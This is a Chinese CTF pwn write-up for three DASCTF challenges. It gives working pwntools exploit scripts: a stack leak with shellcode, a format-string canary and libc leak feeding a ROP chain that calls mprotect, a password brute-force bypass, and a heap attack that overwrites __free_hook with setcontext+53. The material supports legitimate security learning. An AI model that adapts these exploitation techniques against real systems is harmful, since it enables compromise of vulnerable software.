hehepwn
首先check一下安全防护机制,全红。
分析程序,程序逻辑非常简单。
思路首先通过strdup泄露栈地址,后面控制返回地址到栈上,执行shellcode。
from pwn import *
sh = process('./bypwn')
context(os='linux',arch='amd64',log_level='DEBUG')
#sh = remote('node4.buuoj.cn',25111)
pop_rdi = 0x0000000000400923
#gdb.attach(sh)
#pause()
sh.sendafter('input:\n','a'*30+'bb')
sh.recvuntil('bb')
leak_addr = u64(sh.recv(6).ljust(8,'\x00'))
print(hex(leak_addr-0x50))
shellcode = asm(shellcraft.cat('flag')).ljust(88,'a')
#payload = flat({0:asm(shellcraft.cat('/flag')), 0x58: leak_addr - 0x50})
payload = shellcode+p64(leak_addr-0x50)
sh.send(payload)
sh.interactive()
hahapwn
参考了一个很厉害的师傅写的wp,DASCTF-Sept-X-浙江工业大学秋季挑战赛-pwn-wp - LynneHuan - 博客园
check一下安全机制,开启了canary机制
然后分析程序,能明显看到有一个格式化字符串漏洞和一个栈溢出点
查看禁用的函数,execve被禁用
思路为:
- 通过格式化字符串漏洞,泄露出canary的值和libc基址
- 确定控制相应寄存器的gadget和函数的地址
- 构造出ROP链(mprotect函数是用来给bss段可执行权限,这样就可以执行bss段中的shellcode)
- 利用栈溢出写入ROP链
- 最后发送shellcode(cat flag)
这里需要注意很多问题,记录几个主要的问题
1、无法使用ROPgadget寻找syscall,ret,原因不是很清楚,但是可以使用ropper找到
2、mprotect 函数修改权限时,修改的地址必须为内存页的起使地址,即低12位全为0,故需要将bss地址后12位置0
from pwn import *
#sh = process('./pwn')
sh = remote('node4.buuoj.cn',29752)
elf = ELF('./pwn')
libc= ELF('./libc.so.6')
context.arch='amd64'
read_addr = elf.plt['read']
puts_addr = elf.plt['puts']
bss_addr = elf.bss()
print(hex(bss_addr))
pop_rdi =0x0000000000021112
pop_rsi =0x00000000000202f8
pop_rdx =0x0000000000001b92
pop_rax =0x000000000003a738
int_0x80 = 0x00000000000bc3f5
context.log_level = 'DEBUG'
#gdb.attach(sh,'b *0x000000000040077C')
payload = 'aaaaaaaaaa%25$p%27$p%28$p'
sh.sendafter('name?\n',payload)
sh.recvuntil('aaaaaaaaaa')
setbuf = int(sh.recv(14),16)-324
canary = int(sh.recv(18),16)
ebp = int(sh.recv(14),16)-0xc0
libc_base = setbuf-libc.sym['setvbuf']
mprotect_addr = libc_base + libc.sym['mprotect']
libc_pop_rdi = libc_base + pop_rdi
libc_pop_rsi = libc_base + pop_rsi
libc_pop_rdx = libc_base + pop_rdx
libc_pop_rax = libc_base + pop_rax
libc_call = libc_base + int_0x80
payload = 'a'*0x68+p64(canary)+'bbbbbbbb'
payload+=p64(libc_pop_rdi)+p64(0)+p64(libc_pop_rsi)+p64(bss_addr)+p64(libc_pop_rdx)+p64(0x200)+p64(read_addr)
#payload+=p64(libc_pop_rdi)+p64(bss_addr)+p64(puts_addr)
payload+=p64(libc_pop_rdi)+p64(bss_addr&~0xfff)+p64(libc_pop_rsi)+p64(0x1000)+p64(libc_pop_rdx)+p64(0x7)+p64(libc_pop_rax)+p64(10)
payload+=p64(libc_call)+p64(bss_addr)
payload=payload.ljust(0x200,'\x00')
sh.sendafter('you?\n',payload)
sh.send(asm(shellcraft.cat('./flag')))
sleep(1)
sh.interactive()
datasystem
首先需要绕过一个验证,能很明显发现首先保证用户名不为admin,之后的判断需要s1和s2相等
利用ida调试输入123456时,s2的值为一个32位的字符串
将这字符串复制当作密码输入,发现s2的开头为\x00
于是猜想密码是否为32位,输入'a'*32和'b'*32,发现s2的开头均为\x00,只要爆破出使s1开头为\x00就可以绕过验证
爆破的脚本如下
import string
from pwn import *
context(os='linux',arch='amd64',log_level='error')
for password in range(0x100):
password=password.to_bytes(1,byteorder='big')
sh = process('./datasystem')
sh.sendafter('please input username: ','admin\x00')
sh.sendafter('please input password: ',password*32)
error = sh.recvline()
if b'Fail' not in error:
print('password:',password)
print('-----------------')
print('-----------------')
sh.close()
最后得到可行的两个密码
验证机制就可以绕过
分析程序,堆的菜单题,功能相对简单
存在漏洞的点在add中,read输入函数的大小始终为506,存在溢出的风险
绕过验证后的整体思路为:
- 申请一个unsortedbin,利用残存的地址泄露出libc地址
- 溢出覆盖地址为__free_hook-0x200
- 分配到地址__free_hook-0x200
- 将__free_hook覆盖为setcontext+53
- 在可执行可读可写的
0x23330000写入shellcode,并且执行shellcode
这里又学习到一个新的利用方式setcontext+53,通过大量控制寄存器来控制程序执行import string from pwn import * def add(size,content): sh.sendlineafter('>> :\n','1') sh.sendlineafter('Size: \n',str(size)) sh.sendafter('your Content: \n',content) def delete(index): sh.sendlineafter('>> :\n','2') sh.sendlineafter('Index:\n',str(index)) def show(index): sh.sendlineafter('>> :\n','3') sh.sendlineafter('Index:\n',str(index)) context(os='linux',arch='amd64') sh = process('./datasystem') libc = ELF('./libc-2.27(2).so') sh.sendafter('please input username: ','admin\x00') sh.sendafter('please input password: ','c'*32) add(0x420,'a')#0 add(0x10,'b')#1 delete(0) add(0x8,'a'*8)#0 show(0) libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3EC090 free_hook=libc_base+libc.sym['__free_hook'] read_addr= libc_base+libc.sym['read'] setcontext= libc_base+libc.sym['setcontext'] add(0x20,'b')#2 delete(2) delete(0) add(0x10,flat({0x10:[0,0x31,free_hook-0x200]}))#0 add(0x20,'aaaa')#2 payload = flat({0x200:setcontext+53,0x100:0x23330000,0xa0:free_hook-0x100,0xa8:read_addr,0x70:0x23330000,0x88:0x100,0x68:0},filler='\x00') add(0x20,payload)#3 delete(3) sleep(1) sh.sendline(asm(shellcraft.cat('./flag'))) sh.interactive()